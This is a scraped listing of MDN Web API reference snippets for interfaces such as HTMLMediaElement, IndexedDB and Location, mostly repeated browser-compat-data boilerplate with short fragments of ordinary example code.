if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.border - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.currentSrc - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.decoding - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.height - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.hspace - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.isMap - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.longDesc - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.lowSrc - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.name - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.naturalHeight - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.naturalWidth - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.sizes - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.srcset - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.vspace - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.width - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLInputElement.webkitEntries - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLInputElement.webkitdirectory - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLInputElement - Web APIs
formmethod string: returns / sets the element's formmethod attribute, containing the http method that the browser uses to submit the form.
HTMLLinkElement.as - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLLinkElement.referrerPolicy - Web APIs
see the http referrer-policy header for details.
HTMLMediaElement: abort event - Web APIs
bubbles no cancelable no interface event event handler property onabort examples const video = document.queryselector('video'); const videosrc = 'https://path/to/video.webm'; video.addeventlistener('abort', () => { console.log(`abort loading: ${videosrc}`); }); const source = document.createelement('source'); source.setattribute('src', videosrc); source.setattribute('type', 'video/webm'); video.appendchild(source); specifications specification status html living standard living standard html5 recommendation ...
HTMLMediaElement.autoplay - Web APIs
<video id="video" controls> <source src="https://player.vimeo.com/external/250688977.sd.mp4?s=d14b1f1a971dde13c79d6e436b88a6a928dfe26b&profile_id=165"> </video> *** disable autoplay (recommended) *** false is the default value document.queryselector('#video').autoplay = false; specifications specification status comment html living standardthe definition of 'htmlmediaelement.autoplay' in that specif...
HTMLMediaElement.controlsList - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLMediaElement.error - Web APIs
var videoelement = document.createelement('video'); videoelement.onerror = function() { console.log("error " + videoelement.error.code + "; details: " + videoelement.error.message); } videoelement.src = "https://example.com/bogusvideo.mp4"; specifications specification status comment html living standardthe definition of 'htmlmediaelement.error' in that specification.
HTMLMediaElement: error event - Web APIs
bubbles no cancelable no interface event event handler property onerror examples const video = document.queryselector('video'); const videosrc = 'https://path/to/video.webm'; video.addeventlistener('error', () => { console.error(`error loading: ${videosrc}`); }); video.setattribute('src', videosrc); specifications specification status html living standard living standard html5 recommendation ...
HTMLMediaElement: loadstart event - Web APIs
ideo.addeventlistener('progress', handleevent); video.addeventlistener('canplay', handleevent); video.addeventlistener('canplaythrough', handleevent); loadvideo.addeventlistener('click', () => { if (source) { document.location.reload(); } else { loadvideo.textcontent = "reset example"; source = document.createelement('source'); source.setattribute('src', 'https://interactive-examples.mdn.mozilla.net/media/examples/flower.webm'); source.setattribute('type', 'video/webm'); video.appendchild(source); } }); result specifications specification status html living standardthe definition of 'loadstart media event' in that specification.
HTMLMediaElement.onencrypted - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLMediaElement.onwaitingforkey - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLMediaElement: progress event - Web APIs
ideo.addeventlistener('progress', handleevent); video.addeventlistener('canplay', handleevent); video.addeventlistener('canplaythrough', handleevent); loadvideo.addeventlistener('click', () => { if (source) { document.location.reload(); } else { loadvideo.textcontent = "reset example"; source = document.createelement('source'); source.setattribute('src', 'https://interactive-examples.mdn.mozilla.net/media/examples/flower.webm'); source.setattribute('type', 'video/webm'); video.appendchild(source); } }); result specifications specification status html living standardthe definition of 'progress media event' in that specification.
HTMLMediaElement.setMediaKeys() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLMetaElement - Web APIs
httpequiv domstring gets or sets the name of an http response header to define for a document.
HTMLSelectElement.form - Web APIs
syntax edit aform = aselectelement.form.selectname; example html <form action="http://www.google.com/search" method="get"> <label>google: <input type="search" name="q"></label> <input type="submit" value="search..."> </form> javascript a property available on all form elements, "type" returns the type of the calling form element.
HTMLSlotElement.assignedElements() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLSlotElement.name - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
The HTML DOM API - Web APIs
among the things added to document by the html standard are: support for accessing various information provided by the http headers when loading the page, such as the location from which the document was loaded, cookies, modification date, referring site, and so forth.
Drag Operations - Web APIs
const dt = event.datatransfer; dt.setdata("application/x.bookmark", bookmarkstring); dt.setdata("text/uri-list", "https://www.mozilla.org"); dt.setdata("text/plain", "https://www.mozilla.org"); here, data is added in three different types.
HTML Drag and Drop API - Web APIs
examples and demos copying and moving elements with the datatransfer interface copying and moving elements with the datatransferlistitem interface dragging and dropping files (firefox only): http://jsfiddle.net/9c2ef/ dragging and dropping files (all browsers): https://jsbin.com/hiqasek/ a parking project using the drag and drop api: https://park.glitch.me/ (you can edit here) specifications specification status comment html living standard living standard see also drag operations dragging and dropping multiple items recommended dra...
History.back() - Web APIs
WebAPIHistoryback
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
History.forward() - Web APIs
WebAPIHistoryforward
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
History.scrollRestoration - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
History API - Web APIs
window.onpopstate = function(event) { alert(`location: ${document.location}, state: ${json.stringify(event.state)}`) } history.pushstate({page: 1}, "title 1", "?page=1") history.pushstate({page: 2}, "title 2", "?page=2") history.replacestate({page: 3}, "title 3", "?page=3") history.back() // alerts "location: http://example.com/example.html?page=1, state: {"page":1}" history.back() // alerts "location: http://example.com/example.html, state: null" history.go(2) // alerts "location: http://example.com/example.html?page=3, state: {"page":3}" specifications specification status comment html living standardthe definition of 'history' in that specification.
IDBCursor.advance() - Web APIs
WebAPIIDBCursoradvance
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBCursor.continue() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBCursor.delete() - Web APIs
WebAPIIDBCursordelete
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBCursor.direction - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBCursor.key - Web APIs
WebAPIIDBCursorkey
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBCursor.primaryKey - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBCursor.request - Web APIs
WebAPIIDBCursorrequest
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBCursor.source - Web APIs
WebAPIIDBCursorsource
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBCursor.update() - Web APIs
WebAPIIDBCursorupdate
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBCursorWithValue.value - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBCursorWithValue - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBDatabase.close() - Web APIs
WebAPIIDBDatabaseclose
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBDatabase.createObjectStore() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBDatabase.deleteObjectStore() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBDatabase.name - Web APIs
WebAPIIDBDatabasename
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBDatabase.objectStoreNames - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBDatabase.onabort - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBDatabase.onclose - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBDatabase.onerror - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBDatabase.onversionchange - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBDatabase.transaction() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBDatabase.version - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBDatabase - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBDatabaseException - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBEnvironment - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBFactory.cmp() - Web APIs
WebAPIIDBFactorycmp
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
databases - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBFactory.deleteDatabase() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBFactory.open() - Web APIs
WebAPIIDBFactoryopen
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBFactory - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBIndex.count() - Web APIs
WebAPIIDBIndexcount
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBIndex.get() - Web APIs
WebAPIIDBIndexget
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBIndex.getKey() - Web APIs
WebAPIIDBIndexgetKey
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBIndex.keyPath - Web APIs
WebAPIIDBIndexkeyPath
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBIndex.multiEntry - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBIndex.name - Web APIs
WebAPIIDBIndexname
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBIndex.objectStore - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBIndex.openCursor() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBIndex.openKeyCursor() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBIndex.unique - Web APIs
WebAPIIDBIndexunique
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBIndex - Web APIs
WebAPIIDBIndex
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBKeyRange.bound() - Web APIs
WebAPIIDBKeyRangebound
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBKeyRange.includes() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBKeyRange.lower - Web APIs
WebAPIIDBKeyRangelower
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBKeyRange.lowerBound() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBKeyRange.lowerOpen - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBKeyRange.only() - Web APIs
WebAPIIDBKeyRangeonly
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBKeyRange.upper - Web APIs
WebAPIIDBKeyRangeupper
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBKeyRange.upperBound() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBKeyRange.upperOpen - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBKeyRange - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBObjectStore.add() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBObjectStore.autoIncrement - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBObjectStore.clear() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBObjectStore.count() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBObjectStore.createIndex() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBObjectStore.delete() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBObjectStore.deleteIndex() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBObjectStore.get() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBObjectStore.getKey() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBObjectStore.index() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBObjectStore.indexNames - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBObjectStore.keyPath - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBObjectStore.name - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBObjectStore.openCursor() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBObjectStore.put() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBObjectStore.transaction - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBObjectStore - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBOpenDBRequest.onblocked - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBOpenDBRequest.onupgradeneeded - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBRequest.error - Web APIs
WebAPIIDBRequesterror
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBRequest.onerror - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBRequest.onsuccess - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBRequest.readyState - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBRequest.result - Web APIs
WebAPIIDBRequestresult
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBRequest.source - Web APIs
WebAPIIDBRequestsource
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBRequest.transaction - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBTransaction.objectStoreNames - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBTransaction.abort() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBTransaction.commit() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBTransaction.db - Web APIs
WebAPIIDBTransactiondb
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBTransaction.error - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBTransaction.mode - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBTransaction.objectStore() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBTransaction.onabort - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBTransaction.oncomplete - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBTransaction.onerror - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBTransaction - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBVersionChangeEvent.newVersion - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBVersionChangeEvent.oldVersion - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBVersionChangeEvent.version - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBVersionChangeRequest.setVersion() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IDBVersionChangeRequest - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
IIRFilterNode() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
ImageCapture.takePhoto() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
InputEvent.dataTransfer - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
InputEvent.getTargetRanges() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
InstallEvent - Web APIs
var cache_version = 1; var current_caches = { prefetch: 'prefetch-cache-v' + cache_version }; self.addeventlistener('install', function(event) { var urlstoprefetch = [ './static/pre_fetched.txt', './static/pre_fetched.html', 'https://www.chromium.org/_/rsrc/1302286216006/config/customlogo.gif' ]; console.log('handling install event.
enabled - Web APIs
example the following code uses the startsoftwareupdate method to unconditionally trigger a download from http://royalairways/royalpkg.xpi as long as software installation is enabled on the browser: if (installtrigger.enabled() ) { installtrigger.startsoftwareupdate ("http://royalair.com/rasoft.xpi"); } ...
KeyboardEvent.code - Web APIs
html <p>use the wasd (zqsd on azerty) keys to move and steer.</p> <svg xmlns="http://www.w3.org/2000/svg" version="1.1" class="world"> <polygon id="spaceship" points="15,0 0,30 30,30"/> </svg> <script>refresh();</script> css .world { margin: 0px; padding: 0px; background-color: black; width: 400px; height: 400px; } #spaceship { fill: orange; stroke: red; stroke-width: 2px; } javascript the first section of the javascript code establishes some variables w...
LargestContentfulPaint - Web APIs
// https://bugs.webkit.org/show_bug.cgi?id=209216 try { let lcp; const po = new performanceobserver((entrylist) => { const entries = entrylist.getentries(); const lastentry = entries[entries.length - 1]; // update `lcp` to the latest value, using `rendertime` if it's available, // otherwise using `loadtime`.
LayoutShift - Web APIs
// https://bugs.webkit.org/show_bug.cgi?id=209216 try { let cumulativelayoutshiftscore = 0; const observer = new performanceobserver((list) => { for (const entry of list.getentries()) { // only count layout shifts without recent user input.
LocalFileSystem - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
LocalFileSystemSync - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Location: host - Web APIs
WebAPILocationhost
syntax string = object.host; object.host = string; examples var anchor = document.createelement("a"); anchor.href = "https://developer.mozilla.org/location.host" anchor.host == "developer.mozilla.org" anchor.href = "https://developer.mozilla.org:443/location.host" anchor.host == "developer.mozilla.org" // the port number is not included because 443 is the scheme's default port anchor.href = "https://developer.mozilla.org:4097/location.host" anchor.host == "developer.mozilla.org:4097" specifications specification status comment html living standardthe definition of 'host' in that sp...
Location: hostname - Web APIs
WebAPILocationhostname
syntax string = object.hostname; object.hostname = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/docs/location.hostname"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.hostname; // returns:'developer.mozilla.org' specifications specification status comment html living standardthe definition of 'hostname' in that specification.
Location: href - Web APIs
WebAPILocationhref
syntax string = object.href; object.href = string; examples // lets imagine an <a id="myanchor" href="https://developer.mozilla.org/location/href"> element is in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.href; // returns: 'https://developer.mozilla.org/location/href' specifications specification status comment html living standardthe definition of 'href' in that specification.
Location: password - Web APIs
WebAPILocationpassword
syntax string = object.password; object.password = string; examples // let's <a id="myanchor" href="https://anonymous:flabada@developer.mozilla.org/docs/location.username"> be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.password; // returns:'flabada' ...
Location: pathname - Web APIs
WebAPILocationpathname
syntax string = object.pathname; object.pathname = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/docs/location.pathname"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.pathname; // returns:'/docs/location.pathname' specifications specification status comment html living standardthe definition of 'pathname' in that specification.
Location: port - Web APIs
WebAPILocationport
syntax string = object.port; object.port = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org:443/docs/location.port"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.port; // returns:'443' specifications specification status comment html living standardthe definition of 'location.port' in that specification.
Location: protocol - Web APIs
WebAPILocationprotocol
syntax string = object.protocol; object.protocol = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/location.protocol"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.protocol; // returns:'https:' specifications specification status comment html living standardthe definition of 'protocol' in that specification.
Location: search - Web APIs
WebAPILocationsearch
syntax string = object.search; object.search = string; examples // let an <a id="myanchor" href="https://developer.mozilla.org/docs/location.search?q=123"> element be in the document var anchor = document.getelementbyid("myanchor"); var querystring = anchor.search; // returns:'?q=123' // further parsing: let params = new urlsearchparams(querystring); let q = parseint(params.get("q")); // is the number 123 specifications specification status comment html living standard...
Location: toString() - Web APIs
WebAPILocationtoString
syntax string = object.tostring(); examples // let's imagine an <a id="myanchor" href="https://developer.mozilla.org/docs/location/tostring"> element is in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.tostring(); // returns: 'https://developer.mozilla.org/docs/location/tostring' specifications specification status comment html living standard living standard ...
Location: username - Web APIs
WebAPILocationusername
syntax string = object.username; object.username = string; examples // let's <a id="myanchor" href="https://anonymous:flabada@developer.mozilla.org/docs/location.username"> be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.username; // returns:'anonymous' ...
MSGestureEvent - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
MathMLElement - Web APIs
properties this interface has no properties, but inherits properties from: documentandelementeventhandlers, element, elementcssinlinestyle, globaleventhandlers, htmlorforeignelement methods this interface has no methods, but inherits methods from: documentandelementeventhandlers, element, elementcssinlinestyle, globaleventhandlers, htmlorforeignelement examples mathml <math xmlns="http://www.w3.org/1998/math/mathml"> <msqrt> <mi>x</mi> </msqrt> </math> javascript document.queryselector('msqrt').constructor.name; // mathmlelement specifications specification status comment mathmlelement interface ...
MediaDeviceInfo.deviceId - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
MediaDeviceInfo.kind - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
MediaError.code - Web APIs
WebAPIMediaErrorcode
the error handler simply outputs a message var obj = document.createelement('video'); obj.onerror = function() {console.log("error with media: " + obj.error.code);} obj.src="https://example.com/blahblah.mp4"; specifications specification status comment html living standardthe definition of 'mediaerror.code' in that specification.
MediaKeyMessageEvent() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
MediaKeyStatusMap.entries() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
MediaKeyStatusMap.forEach() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
MediaKeyStatusMap.get() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
MediaKeyStatusMap.has() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
MediaKeyStatusMap.keys() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
MediaKeyStatusMap.size - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
MediaKeyStatusMap.values() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
MediaMetadata.album - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
MediaMetadata.artist - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
MediaMetadata.artwork - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
MediaMetadata.title - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
MediaMetadata - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
MediaRecorder.audioBitsPerSecond - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
MediaRecorder.ignoreMutedMedia - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
MediaSession.playbackState - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
MediaSource.endOfStream() - Web APIs
when you make an xmlhttprequest call for a media chunk, and onabort or onerror triggers, you might want to call endofstream('network'), display a descriptive message in the ui, and maybe retry the network request immediately or wait until the network is back up (via some kind of polling.) decode: terminates playback and signals that a decoding error has occured.
MediaStream.getTracks() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
MediaStream.id - Web APIs
WebAPIMediaStreamid
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
MerchantValidationEvent - Web APIs
this may be either one of the standard payment method identifier strings or a url that both identifies and handles requests for the payment handler, such as https://apple.com/apple-pay.
MessagePort: message event - Web APIs
cancelable no interface messageevent event handler property onmessage examples suppose a script creates a messagechannel and sends one of the ports to a different browsing context, such as another <iframe>, using code like this: const channel = new messagechannel(); const myport = channel.port1; const targetframe = window.top.frames[1]; const targetorigin = 'https://example.org'; const messagecontrol = document.queryselector('#message'); const channelmessagebutton = document.queryselector('#channel-message'); channelmessagebutton.addeventlistener('click', () => { myport.postmessage(messagecontrol.value); }) targetframe.postmessage('init', targetorigin, [channel.port2]); the target can receive the port and start listening for messages on it using c...
MessagePort: messageerror event - Web APIs
ncelable no interface messageevent event handler property onmessageerror examples suppose a script creates a messagechannel and sends one of the ports to a different browsing context, such as another <iframe>, using code like this: const channel = new messagechannel(); const myport = channel.port1; const targetframe = window.top.frames[1]; const targetorigin = 'https://example.org'; const messagecontrol = document.queryselector('#message'); const channelmessagebutton = document.queryselector('#channel-message'); channelmessagebutton.addeventlistener('click', () => { myport.postmessage(messagecontrol.value); }) targetframe.postmessage('init', targetorigin, [channel.port2]); the target can receive the port and start listening for messages and message e...
Metadata.modificationTime - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Metadata.size - Web APIs
WebAPIMetadatasize
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Metadata - Web APIs
WebAPIMetadata
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
